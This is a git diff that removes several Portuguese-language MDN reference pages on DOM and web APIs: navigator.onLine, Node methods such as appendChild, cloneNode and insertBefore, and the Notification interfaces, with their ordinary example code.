O atributo navigator.onLine deve retornar falso se o agente de usuário não obtiver contato com a rede quando o usuário segue links ou quandoscripts de uma página remota forem requisitados.
- -

Firefox 2 atualiza esta propriedade quando trocando de/para o modo Offline do navegador, e quando perde/encontra conectividade com uma rede no Windows e Linux.

- -

Esta propriedade existe em antigas versões do Firefox e Internet Explorer (a especificação baseou-se fora destas implementações prévias), então você pode começar usando isto imediatamente. A detecção automática do estado da rede foi implementado no Firefox 2.

- -

Eventos "online" e "offline"

- -

O Firefox 3 introduz dois novos eventos: "online" e "offline". Estes dois eventos são colocados no <body> de cada página quando o navegador troca entre o modo online e offline. Adicionalmente, os eventos vão de document.body, para document, terminando em window. Ambos os eventos não são canceláveis (você não pode evitar o usuário de estar online, ou indo para offline).

- -

Você pode registrar ouvintes para estes eventos de algumas maneiras familiares:

- -
    -
  • usando addEventListener em window, document, ou document.body
  • -
  • configurando as propriedades .ononline ou .onoffline em document ou document.body para um objeto Function JavaScript. (Nota: usando window.ononline ou window.onoffline você não trabalhará para razões de compatibilidade.)
  • -
  • especificando os atributos ononline="..." ou onoffline="..." na etiqueta <body> na marcação HTML.
  • -
- -

Exemplo

- -

um caso de teste simples que você pode rodar para verificar se os eventos estão trabalhando. XXX Quando os "mochitestes" para isto forem criados, apontar para este e atualizar este exemplo -nickolay

- -
 <!doctype html>
- <html>
- <head>
-   <script>
-     function updateOnlineStatus(msg) {
-       var status = document.getElementById("status");
-       var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
-       status.setAttribute("class", condition);
-       var state = document.getElementById("state");
-       state.innerHTML = condition;
-       var log = document.getElementById("log");
-       log.appendChild(document.createTextNode("Event: " + msg + "; status=" + condition + "\n"));
-     }
-     function loaded() {
-       updateOnlineStatus("load");
-       document.body.addEventListener("offline", function () {
-         updateOnlineStatus("offline")
-       }, false);
-       document.body.addEventListener("online", function () {
-         updateOnlineStatus("online")
-       }, false);
-     }
-   </script>
-   <style>...</style>
- </head>
- <body onload="loaded()">
-   <div id="status"><p id="state"></p></div>
-   <div id="log"></div>
- </body>
- </html>
-
- -

Referências

- - - -

Categorias

- -

Interwiki Language Links

diff --git a/files/pt-pt/web/api/node/appendchild/index.html b/files/pt-pt/web/api/node/appendchild/index.html deleted file mode 100644 index 401343d844..0000000000 --- a/files/pt-pt/web/api/node/appendchild/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: element.appendChild -slug: Web/API/Node/appendChild -tags: - - Referência_do_DOM_Gecko -translation_of: Web/API/Node/appendChild -original_slug: DOM/element.appendChild ---- -

{{ ApiRef() }}

-

Sumario

-

Adiciona um novo nó (filho) a um determinado elemento (objeto)

-

Sintaxe

-
element.appendChild(child)
-
-
    -
  • element é o elemento pai.
  • -
  • child é o nó que será adicionado como filho de element.
  • -
-

Exemplo

-
// Cria um novo Elemento(Objeto)
-var p = document.createElement("p");
-
-// Adiciona ao Elemento Body (este deverá existir!)
-document.body.appendChild(p);
-
-

Notas

-

Se child é a referência para um nó ja existente no documento, appendChild moverá este para a nova posição (ou seja não é necessário remover um nó de uma posição para depois adicionar em outra). Isto significa que um nó não pode estar em dois lugares do documento ao mesmo tempo.

-

Você pode usar também cloneNode para copiar este nó e depois adicioná-lo a outro elemento. (Observe que ao criar um objeto ultilizando cloneNode ou createElement este não fará parte do documento até você torna-lo parte deste usando appendChild ou método similar)

-

Métodos relacionados : insertBefore, replaceChild and removeChild. <code>appendChild</code> é um dos métodos essenciais na programação usando DOM. O método <code>appendChild</code> insere um novo nó na estrutura DOM e este é a segunda parte da metodologia create-and-append.

-

Especificação

-

DOM Level 2 Core: appendChild

-

{{ languages( { "en": "en/DOM/element.appendChild", "fr": "fr/DOM/element.appendChild", "pl": "pl/DOM/element.appendChild" } ) }}

diff --git a/files/pt-pt/web/api/node/clonenode/index.html b/files/pt-pt/web/api/node/clonenode/index.html deleted file mode 100644 index cca183e508..0000000000 --- a/files/pt-pt/web/api/node/clonenode/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: element.cloneNode -slug: Web/API/Node/cloneNode -translation_of: Web/API/Node/cloneNode -original_slug: DOM/element.cloneNode ---- -

Resumo

- -

Retorna a cópia de um elemento.

- -

Syntax

- -
dupNode = element.cloneNode(deep);
-
- -
    -
  • dupNode é variável que receberá o nó gerado
  • -
  • element é o elemento pai (o elemento que contém o nó que será copiado)
  • -
  • deep é um valor boleano, obrigatório que indica de o a clone vai ser completo ou não (ver notas).
  • -
- -

Example

- -
p = document.getElementById("diogok");
-p_prime = p.cloneNode(true);
-
- -

Notas

- -

Clonando um nó copiamos todos seus atributos e seus respectivos valores

- -

O nó clonado retornado por cloneNode não faz parte do documento enquanto não for adicionado a um outro nó que faça parte do documento usando appendChild ou outro método similar. Enquanto não for adicionado a um outro nó, será um nó sem pai. Ou seja, o clone não herda o pai do original.

- -

Se deep for false, nada sobre os nós filhos será clonado. Qualquer texto contido no nó não será clonado junto, já que o texto fica contido em nós de texto.

- -

Se deep for true, toda a subárvore (incluíndo texto) é copiado também. Para nós vazios (como os elementos IMG e INPUT) não importa qua valor que você coloque em deep, mas você ainda deve definir um valor

- -

Note que o cloneNode pode causar o problema de termos dois elementos com um mesmo id em um documento!

- -

Somente os eventos colocados em atributos inline são copiados. Os eventos adicionados após a renderização do nó via javascript não são copiados.

- -
var elms = document.getElementById('foo');
-elms.onclick = function(){
-	alert('Eu não deveria ser copiado?');
-}
-var g = elms.cloneNode(true);
-g.id = 'foo2';
-g.style.top = '0px';
-document.body.appendChild(g);
-
- -

No trecho de código acima o atributo onclick não é copiado. Nem mesmo com addEventListener.

- -

Especificação

- -

DOM Level 2 Core: cloneNode

diff --git a/files/pt-pt/web/api/node/index.html b/files/pt-pt/web/api/node/index.html deleted file mode 100644 index 8c59f718ff..0000000000 --- a/files/pt-pt/web/api/node/index.html +++ /dev/null @@ -1,407 +0,0 @@ ---- -title: Node -slug: Web/API/Node -tags: - - API - - DOM - - Element - - Interface - - Node - - WebAPI -translation_of: Web/API/Node ---- -
- {{Apiref}}
-

Node é uma interface da qual uma varidade de tipos do DOM herdam e permite que estes vários tipos seja tratados (ou testados) de forma similar.

-

As seguintes interfaces todas herdam de Node os seus métodos e propriedades:{{domxref("Document")}}, {{domxref("Element")}}, {{domxref("CharacterData")}} (que {{domxref("Text")}}, {{domxref("Comment")}}, e {{domxref("CDATASection")}} herdam), {{domxref("ProcessingInstruction")}}, {{domxref("DocumentFragment")}}, {{domxref("DocumentType")}}, {{domxref("Notation")}}, {{domxref("Entity")}}, {{domxref("EntityReference")}}

-

Estas interfaces podem retornar null em casos particulares, em que estes métodos e propriedades não são relevantes. Podem lançar uma excepção - por exempo, ao adicionar nós-filho a um tipo de nó para o qual não está prevista a existência de nós descendentes.

-

 

-

Propriedades

-

Herda propriedades do seu pai {{domxref("EventTarget")}}.[1]

-
-
- {{domxref("Node.attributes")}} {{deprecated_inline}}
-
- ...
-
- {{domxref("Node.baseURI")}} {{readonlyInline}}
-
- Retorna uma {{domxref("DOMString")}} que represente o URL base. O conceito de URL base varia de língua para língua; em HTML corresponde: ao protocolo, nome do domínio e estrutura de directórios, ou seja, tudo até à última '/'.
-
- {{domxref("Node.baseURIObject")}} {{Non-standard_inline()}}
-
- (Não disponível para conteúdo Web). O objecto {{ Interface("nsIURI") }} apenas de leitura representa o URI base para o elemento.
-
- {{domxref("Node.childNodes")}} {{readonlyInline}}
-
- Retorna uma {{domxref("NodeList")}} activa quem contém todos os descendentes desse nó. Sendo {{domxref("NodeList")}} uma lista activa, significa que os descendentes do Node mudam, o objecto {{domxref("NodeList")}} é automaticamente actualizado.
-
- {{domxref("Node.firstChild")}} {{readonlyInline}}
-
- Retorna um {{domxref("Node")}} que representa o primeiro descendente directo do nó ou null se o nó não tiver descendentes.
-
- {{domxref("Node.lastChild")}} {{readonlyInline}}
-
- Retorna um {{domxref("Node")}} que representa o último descendente directo do Node, ou null caso o node não tenha descendentes.
-
- {{domxref("Node.localName")}} {{readonlyInline}}{{obsolete_inline}}
-
- Retorna uma {{domxref("DOMString")}} que representa a parte local do nome qualificado do elemento. No Firefox 3.5 e anteriores, a propriedade exibe o nome local do elemento HTML em maiúsculas (mas não o faz para elementos XHTML). Em versões posteriores, isto não se verifica, portanto a propriedade é exibida em letras minúsculas para ambos HTML e XHTML. {{ gecko_minversion_inline("1.9.2") }}. Apesar da especificação requerer que localName seja definido no interface {{domxref("Node")}}, browsers Gecko-based implementam-no no interface {{domxref("Element")}}.
-
- {{domxref("Node.namespaceURI")}} {{readonlyInline}}{{obsolete_inline}}
-
- O URI do namspace do node em causa, ou null, se não possuir namespace. No Firefox 3.5 e anteriores, elementos HTML não se encontravam em qualquer namespace. Em versões posteriores, elementos HTML estão no namespace http://www.w3.org/1999/xhtml quer na tree de HTML, quer na de XHTML {{ gecko_minversion_inline("1.9.2") }}
-
- Apesar da especificação requerer namespaceURI definido no interface {{domxref("Node")}}, browsers Gecko-based implementam-no no interface {{domxref("Element")}}.
-
- {{domxref("Node.nextSibling")}} {{readonlyInline}}
-
- Retorna um {{domxref("Node")}} que representa o próximo node na tree, ou null caso esse node não exista.
-
- {{domxref("Node.nodeName")}} {{readonlyInline}}
-
- Retorna uma {{domxref("DOMString")}} que contém o nome do Node. A estrutura do nome difere do tipo do nome. Exemplo: um {{domxref("HTMLElement")}} irá conter o nome da tag correspondente, como 'audio' para um {{domxref("HTMLAudioElement")}}, um {{domxref("Text")}} node irá ter a string '#text', ou então um {{domxref("Document")}} node irá ter uma string '#document'.
-
- {{domxref("Node.nodePrincipal")}} {{Non-standard_inline()}}
-
- Um {{ Interface("nsIPrincipal") }} representa um node principal.
-
- {{domxref("Node.nodeType")}}{{readonlyInline}}
-
- Retorna um unsigned short que representa o tipo de node. Os valores possíveis são:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NomeValor
ELEMENT_NODE1
ATTRIBUTE_NODE {{deprecated_inline()}}2
TEXT_NODE3
CDATA_SECTION_NODE {{deprecated_inline()}}4
ENTITY_REFERENCE_NODE {{deprecated_inline()}}5
ENTITY_NODE {{deprecated_inline()}}6
PROCESSING_INSTRUCTION_NODE7
COMMENT_NODE8
DOCUMENT_NODE9
DOCUMENT_TYPE_NODE10
DOCUMENT_FRAGMENT_NODE11
NOTATION_NODE {{deprecated_inline()}}12
-
-
- {{domxref("Node.nodeValue")}}
-
- É a {{domxref("DOMString")}} que representa o valor de um objecto. Para a maioria dos tipos de Node, isto retorna null e qualquer operação é ignorada. Para nodes do tipo TEXT_NODE (objectos {{domxref("Text")}}), COMMENT_NODE ({{domxref("Comment")}} objects), e PROCESSING_INSTRUCTION_NODE ({{domxref("ProcessingInstruction")}} objects), o valor corresponde ao valor textual contido no objecto.
-
- {{domxref("Node.ownerDocument")}} {{readonlyInline}}
-
- Retorna o {{domxref("Document")}} a que este node pertence. Se nenhum documento está associado com este, retorna null.
-
- {{domxref("Node.parentNode")}} {{readonlyInline}}
-
- Retorna um {{domxref("Node")}} que é o ascendente deste node. Se não existir tal node, como por exemplo se este node se encontra no nível raiz da tree ou se não consta nesta, esta propriedade retorna null.
-
- {{domxref("Node.parentElement")}} {{readonlyInline}}
-
- Retorna um {{domxref("Element")}} que é o ascendente deste node. Caso este node não tenha ascendente ou se o seu ascendente não é um {{domxref("Element")}}, esta propriedade retorna null.
-
- {{domxref("Node.prefix")}} {{obsolete_inline}}
-
- É uma {{domxref("DOMString")}} que representa o prefixo do namespace do node, ou null caso nenhum prefixo seja especificado.
-
- Apesar da especificação requerer localName para ser definida no interface {{domxref("Node")}}, browsers Gecko-based implementam-no no interface {{domxref("Element")}}.
-
- {{domxref("Node.previousSibling")}} {{readonlyInline}}
-
- Retorna um {{domxref("Node")}} que representa o node anterior na tree ou null caso o node não exista.
-
- {{domxref("Node.textContent")}}
-
- É uma {{domxref("DOMString")}} que representa o valor textual de um elemento e todos os seus descendentes.
-
-

Métodos

-

Herda métodos dos seus pais {{domxref("EventTarget")}}.[1]

-
-
- {{domxref("Node.appendChild()")}}
-
- Insere um {{domxref("Node")}} como último descendente do elemento em causa.
-
- {{domxref("Node.cloneNode()")}}
-
- Clona um {{domxref("Node")}} e, opcionalmente, todo o seu conteúdo. Por omissão, clona o conteúdo do node.
-
- {{domxref("Node.compareDocumentPosition()")}}
-
-  
-
- {{domxref("Node.contains()")}}
-
-  
-
- {{domxref("Node.getFeature()")}} {{obsolete_inline}}
-
- ...
-
- {{domxref("Node.getUserData()")}} {{deprecated_inline}}
-
- Permite ao utilizador extrair alguma {{domxref("DOMUserData")}} do node.
-
- {{domxref("Node.hasAttributes()")}} {{obsolete_inline}}
-
- Retorna um {{domxref("Boolean")}} que indica se o elemento tem atributos ou não.
-
- {{domxref("Node.hasChildNodes()")}}
-
- Retorna um {{domxref("Boolean")}} que indica se o elemento tem descendentes ou não.
-
- {{domxref("Node.insertBefore")}}
-
- Insere o primeiro {{domxref("Node")}} dado num parâmetro imediatamente antes do segundo descendente deste {{domxref("Node")}}.
-
- {{domxref("Node.isDefaultNamespace")}}
-
-  
-
- {{domxref("Node.isEqualNode")}}
-
-  
-
- {{domxref("Node.isSameNode")}} {{obsolete_inline}}
-
-  
-
- {{domxref("Node.isSupported")}} {{deprecated_inline}}
-
- Retorna uma flag Boolean que contém o resultado de um teste à implementação do DOM para aferir o suporte deste ou do node a uma determinada propriedade.
-
- {{domxref("Node.lookupPrefix")}}
-
-  
-
- {{domxref("Node.lookupNamespaceURI")}}
-
-  
-
- {{domxref("Node.normalize")}}
-
- Limpa todos os nodes textuais abaixo deste (converge os adjacentes e remove os vazios)
-
- {{domxref("Node.removeChild")}}
-
- Remove um node descendenter do elemento actual. Este deve ser um descendente do node actual.
-
- {{domxref("Node.replaceChild")}}
-
- Substitui um {{domxref("Node")}} descendente do actual com o fornecido no segundo parâmetro.
-
- {{domxref("Node.setUserData")}} {{deprecated_inline}}
-
- Permite a um utilizador anexar, ou remover {{domxref("DOMUserData")}} do node.
-
-  
-
-

Exemplos

-

Percorrer todos os nodes descendentes

-

A seguinte função itera sobre os nodes descendentes de um node recursivamente e executa uma função de callback sobre os mesmos (e sobre o próprio node-pai).

-
function DOMComb (oParent, oCallback) {
-  if (oParent.hasChildNodes()) {
-    for (var oNode = oParent.firstChild; oNode; oNode = oNode.nextSibling) {
-      DOMComb(oNode, oCallback);
-    }
-  }
-  oCallback.call(oParent);
-}
-

Síntaxe

-
DOMComb(parentNode, callbackFunction);
-

Descrição

-

Recursivamente iterar sobre os nodes descendentes de um parentNode e o próprio parentNode, executando uma callbackFunction sobre estes como objectos this.

-

Parâmetros

-
-
- parentNode
-
- O node ascendente (Node Object).
-
- callbackFunction
-
- A função de callback (Function).
-
-

Exemplo de utilização

-

O exemplo seguinte envia para a console.log o conteúdo textual do body:

-
function printContent () {
-  if (this.nodeValue) { console.log(this.nodeValue); }
-}
-
-onload = function () {
-  DOMComb(document.body, printContent);
-};
-

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentários
{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}{{Spec2('DOM WHATWG')}}Removidas as seguintes propriedades: attributes, namespaceURI, prefix, e localName.
- Removidos os seguintes métodos: isSupported(), hasAttributes(), isSameNode(), getFeature(), setUserData(), e getUserData().
{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}}{{Spec2('DOM3 Core')}}Os métodos insertBefore(), replaceChild(), removeChild(), e appendChild() retornam mais um tipo de erro  (NOT_SUPPORTED_ERR) caso sejam chamados no {{domxref("Document")}}.
- O método normalize() foi modificado para que o node {{domxref("Text")}} possa também ser normalizado se a flag correcta de {{domxref("DOMConfiguration")}} estiver definida.
- Adicionados os seguintes métodos: compareDocumentPosition(), isSameNode(), lookupPrefix(), isDefaultNamespace(), lookupNamespaceURI(), isEqualNode(), getFeature(), setUserData(), e getUserData().
- Adicionadas as seguintes propriedades: baseURI e textContent.
{{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}}{{Spec2('DOM2 Core')}}A propriedade ownerDocument foi ligeiramente alterada para que um  {{domxref("DocumentFragment")}} possa também retornar null.
- Adicionadas as seguintes propriedades: namespaceURI, prefix, e localName.
- Adicionados os seguintes métodos: normalize(), isSupported() and hasAttributes().
{{SpecName('DOM1', 'level-one-core.html#ID-1950641247', 'Node')}}{{Spec2('DOM1')}}Definição inicial.
-

 

-

Compatibilidade por browser

-

{{CompatibilityTable}}

-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CaracterísticaChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
getFeature(){{obsolete_inline}}{{CompatNo}}Suportada desde: {{CompatGeckoDesktop("1.0")}} até {{CompatGeckoDesktop("6.0")}}.
- Removida em: {{CompatGeckoDesktop("7.0")}}
{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
getUserData(), setUserData() e hasAttributes() {{deprecated_inline}}{{CompatNo}}Suportada desde: {{CompatGeckoDesktop("1.0")}} até {{CompatGeckoDesktop("21.0")}}.
- Removida em: {{CompatGeckoDesktop("22.0")}}
{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
isSameNode() {{obsolete_inline}}{{CompatNo}}Suportada desde: {{CompatGeckoDesktop("1.0")}} até {{CompatGeckoDesktop("9.0")}}.
- Removida em: {{CompatGeckoDesktop("10.0")}}
{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
isSupported() {{obsolete_inline}}{{CompatUnknown}}Suportada desde: {{CompatGeckoDesktop("1.0")}} até {{CompatGeckoDesktop("21.0")}}.
- Removida em: {{CompatGeckoDesktop("22.0")}}
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
getFeature(){{obsolete_inline}}{{CompatNo}}Suportade desde: {{CompatGeckoDesktop("1.0")}} até {{CompatGeckoDesktop("6.0")}}.
- Removida em: {{CompatGeckoDesktop("7.0")}}
{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
-
-

[1] Webkit e Blink incorrectamente não fazem com que  Node herde de {{domxref("EventTarget")}}.

diff --git a/files/pt-pt/web/api/node/insertbefore/index.html b/files/pt-pt/web/api/node/insertbefore/index.html deleted file mode 100644 index 109b5a51b4..0000000000 --- a/files/pt-pt/web/api/node/insertbefore/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: element.insertBefore -slug: Web/API/Node/insertBefore -tags: - - Referência_do_DOM_Gecko -translation_of: Web/API/Node/insertBefore -original_slug: DOM/element.insertBefore ---- -

{{ ApiRef() }}

-

Sumário

-

Insere um nó filho ao nó atual, antes de um determinado elemento.

-

Síntaxe

-
varinsertedElement =parentElement.insertBefore(newElement,referenceElement)
-
-

If referenceElement is null, newElement is inserted at the end of the list of child nodes.

-
    -
  • insertedElement é o novo inserido,ou seja é o newElement
  • -
  • parentElement é o elemento pai que receberá o novo nó inserido.
  • -
  • newElement é o novo elemento que será inserido
  • -
  • referenceElement o novo nó ficará antes desse elemento
  • -
-

Se referenceElement é null o elemento é inserido em último lugar na lista de nós filhos. Ver childNodes

-

Exemplo

-
 <html>
-
- <head>
- <title>Gecko DOM insertBefore test</title>
- </head>
- <body>
- <div>
-   <span id="childSpan">foo bar</span>
- </div>
-
- <script type="text/javascript">
- // cria um elemento vazio
- // sem ID ou qualquer outro atributo
- var sp1 = document.createElement("span");
-
- // atribui o ID 'newSpan' para o elemento criado
- sp1.setAttribute("id", "newSpan");
-
- //cria um conteudo para o novo elemento,um texto curto
- var sp1_content = document.createTextNode("This is a new span element. ");
- // adiciona o conteúdo a novo elemento
- sp1.appendChild(sp1_content);
-
- var sp2 = document.getElementById("childSpan");
- var parentDiv = sp2.parentNode;
-
- // insere o novo elemento antes sp2
- parentDiv.insertBefore(sp1, sp2);
- </script>
-
- </body>
- </html>
-
-

Não há um método insertAfter(insere depois), porém pode se obter um resultado semelhante usando a combinação entre insertBefore e nextSibling. Por exemplo, sp1 pode inserido depois de sp2 usando comando parentDiv.insertBefore(sp1, sp2.nextSibling); Se a propridade nextSibling retornar null indica que o elemento é o último nó filho, logo novo elemento será incluído no final da lista de nós filhos

-

 

-

Espeficação

-

insertBefore

-

{{ languages( { "en": "en/DOM/element.insertBefore", "pl": "pl/DOM/element.insertBefore", "fr": "fr/DOM/element.insertBefore" } ) }}

diff --git a/files/pt-pt/web/api/notification/index.html b/files/pt-pt/web/api/notification/index.html deleted file mode 100644 index d584cb349c..0000000000 --- a/files/pt-pt/web/api/notification/index.html +++ /dev/null @@ -1,316 +0,0 @@ ---- -title: Notificação -slug: Web/API/notification -translation_of: Web/API/Notification ---- -

{{APIRef("Web Notifications")}}

- -

The Notification interface of the {{domxref('Notifications_API','Notifications API')}} is used to configure and display desktop notifications to the user.

- -

Criador

- -
-
{{domxref("Notification.Notification()")}}
-
Cria uma nova instância do objeto de {{domxref('Notificação')}}.
-
- -

Propriedades

- -

Propriedades estáticas

- -

These properties are available only on the Notification object itself.

- -
-
{{domxref("Notification.permission")}} {{readonlyinline}}
-
A string representing the current permission to display notifications. Possible value are: denied (the user refuses to have notifications displayed), granted (the user accepts having notifications displayed), or default (the user choice is unknown and therefore the browser will act as if the value were denied).
-
- -

Propriedades de instância

- -

These properties are available only on instances of the Notification object.

- -
-
{{domxref("Notification.title")}} {{readonlyinline}}
-
The title of the notification as specified in the options parameter of the constructor.
-
{{domxref("Notification.dir")}} {{readonlyinline}}
-
The text direction of the notification as specified in the options parameter of the constructor.
-
{{domxref("Notification.lang")}} {{readonlyinline}}
-
The language code of the notification as specified in the options parameter of the constructor.
-
{{domxref("Notification.body")}} {{readonlyinline}}
-
The body string of the notification as specified in the options parameter of the constructor.
-
{{domxref("Notification.tag")}} {{readonlyinline}}
-
The ID of the notification (if any) as specified in the options parameter of the constructor.
-
{{domxref("Notification.icon")}} {{readonlyinline}}
-
The URL of the image used as an icon of the notification as specified in the options parameter of the constructor.
-
{{domxref("Notification.data")}} {{readonlyinline}}
-
Returns a structured clone of the notification’s data.
-
- -

Unsupported properties

- -

The following properties are listed in the most up-to-date spec, but are not supported in any browsers yet. It is advisable to keep checking back regularly to see if the status of these has updated, and let us know if you find any out of date information.

- -
-
{{domxref("Notification.noscreen")}} {{readonlyinline}}
-
Specifies whether the notification firing should enable the device's screen or not.
-
{{domxref("Notification.renotify")}} {{readonlyinline}}
-
Specifies whether the user should be notified after a new notification replaces an old one.
-
{{domxref("Notification.silent")}} {{readonlyinline}}
-
Specifies whether the notification should be silent, i.e. no sounds or vibrations should be issued, regardless of the device settings.
-
{{domxref("Notification.sound")}} {{readonlyinline}}
-
Specifies a sound resource to play when the notification fires, in place of the default system notification sound.
-
{{domxref("Notification.sticky")}} {{readonlyinline}}
-
Specifies whether the notification should be 'sticky', i.e. not easily clearable by the user.
-
{{domxref("Notification.vibrate")}} {{readonlyinline}}
-
Specifies a vibration pattern for devices with vibration hardware to emit.
-
- -

Event handlers

- -
-
{{domxref("Notification.onclick")}}
-
A handler for the {{event("click")}} event. It is triggered each time the user clicks on the notification.
-
{{domxref("Notification.onerror")}}
-
A handler for the {{event("error")}} event. It is triggered each time the notification encounters an error.
-
- -

Obsolete handlers

- -

The following event handlers are still supported as listed in the {{anch("browser compatibility")}} section below, but are no longer listed in the current spec. I is safe therefore to assume they are obsolete, and may stop working in future browser versions.

- -
-
{{domxref("Notification.onclose")}}
-
A handler for the {{event("close")}} event. It is triggered when the user closes the notification.
-
{{domxref("Notification.onshow")}}
-
A handler for the {{event("show")}} event. It is triggered when the notification is displayed.
-
- -

Métodos

- -

Métodos estáticos

- -

These methods are available only on the Notification object itself.

- -
-
{{domxref("Notification.requestPermission()")}}
-
Requests permission from the user to display notifications.
-
- -

Métodos de instância

- -

These properties are available only on an instance of the Notification object or through its prototype. The Notification object also inherits from the {{domxref("EventTarget")}} interface.

- -
-
{{domxref("Notification.close()")}}
-
Programmatically closes a notification.
-
- -

Exemplo

- -

Assume this basic HTML:

- -
<button onclick="notifyMe()">Notify me!</button>
- -

It's possible to send a notification as follows — here we present a fairly verbose and complete set of code you could use if you wanted to first check whether notifications are supported, then check if permission has been granted for the current origin to send notifications, then request permission if required, before then sending a notification.

- -
function notifyMe() {
-  // Let's check if the browser supports notifications
-  if (!("Notification" in window)) {
-    alert("This browser does not support desktop notification");
-  }
-
-  // Let's check whether notification permissions have alredy been granted
-  else if (Notification.permission === "granted") {
-    // If it's okay let's create a notification
-    var notification = new Notification("Hi there!");
-  }
-
-  // Otherwise, we need to ask the user for permission
-  else if (Notification.permission !== 'denied') {
-    Notification.requestPermission(function (permission) {
-      // If the user accepts, let's create a notification
-      if (permission === "granted") {
-        var notification = new Notification("Hi there!");
-      }
-    });
-  }
-
-  // At last, if the user has denied notifications, and you
-  // want to be respectful there is no need to bother them any more.
-}
- -

{{ EmbedLiveSample('Example', '100%', 30) }}

- -

In many cases, you don't need to be this verbose. For example, in our Emogotchi demo (see source code), we simply run {{domxref("Notification.requestPermission")}} regardless to make sure we can get permission to send notifications:

- -
Notification.requestPermission();
- -

Then we run a simple spawnNotification() function when we want to fire a notification — this is passed arguments to specify the body, icon and title we want, then it creates the necessary options object and fires the notification using the {{domxref("Notification.Notification","Notification()")}} constructor.

- -
function spawnNotification(theBody,theIcon,theTitle) {
-  var options = {
-      body: theBody,
-      icon: theIcon
-  }
-  var n = new Notification(theTitle,options);
-}
- -

Especificações

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Living standard
- -

Compatibilidade do navegador

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5 {{ property_prefix("webkit") }} (see notes)
- 22
4.0 {{ property_prefix("moz") }} (see notes)
- 22
{{ CompatNo() }}256 (see notes)
icon5 {{ property_prefix("webkit") }} (see notes)
- 22
4.0 {{ property_prefix("moz") }} (see notes)
- 22
{{ CompatNo() }}25{{ CompatNo() }}
silent{{CompatChrome(43.0)}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
noscreen, renotify, sound, sticky{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{ CompatUnknown() }} -

{{CompatVersionUnknown}}

-
4.0 {{ property_prefix("moz") }} (see notes)
- 22
1.0.1 {{ property_prefix("moz") }} (see notes)
- 1.2
{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatNo() }} -

{{CompatVersionUnknown}}

-
icon{{ CompatUnknown() }}{{CompatVersionUnknown}}4.0 {{ property_prefix("moz") }} (see notes)
- 22
1.0.1 {{ property_prefix("moz") }} (see notes)
- 1.2
{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatNo() }}{{CompatVersionUnknown}}
silent{{ CompatNo() }}{{CompatChrome(43.0)}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{CompatChrome(43.0)}}
noscreen, renotify, sound, sticky{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -

Notas do Firefox OS

- -

{{Page("/en-US/docs/Web/API/Notifications_API", "Firefox OS notes")}}

- -

Notas do Chrome

- -

{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}

- -

Notas do Safari

- -

{{Page("/en-US/docs/Web/API/Notifications_API", "Safari notes")}}

- -

Ver também

- - diff --git a/files/pt-pt/web/api/notifications_api/index.html b/files/pt-pt/web/api/notifications_api/index.html deleted file mode 100644 index c41db167ce..0000000000 --- a/files/pt-pt/web/api/notifications_api/index.html +++ /dev/null @@ -1,194 +0,0 @@ ---- -title: Notifications API -slug: Web/API/Notifications_API -tags: - - Landing - - NeedsTranslation - - Notifications - - TopicStub - - permission - - system -translation_of: Web/API/Notifications_API ---- -

{{DefaultAPISidebar("Web Notifications")}}

- -

The Notifications API allows web pages to control the display of system notifications to the end user — these are outside the top-level browsing context viewport, so therefore can be displayed even the user has switched tabs or moved to a different app. The API is designed to be compatible with existing notification systems across different platforms.

- -

Concepts and usage

- -

On supported platforms, showing a system notification generally involves two things. First, the user needs to grant the current origin permission to display system notifications, which is generally done when the app or site initialises, using the {{domxref("Notification.requestPermission()")}} method. This will spawn a request dialog, along the following lines:

- -

- -

From here the user can choose to allow notifications from this origin, block notifications from this origin , or to not choose a this point. Once a choice has been made, the setting will generally persist for the current session. 

- -

Next, a new notification is created using the {{domxref("Notification.Notification","Notification()")}} constructor. This has to be passed a title argument, and can optionally be passed an options object to specify options such as text direction, body text, icon to display, notification sound to play, and more.

- -

{{AvailableInWorkers}}

- -

In addition, the Notifications API spec specifies a number of additions to the ServiceWorker API, to allow service workers to fire notifications.

- -
-

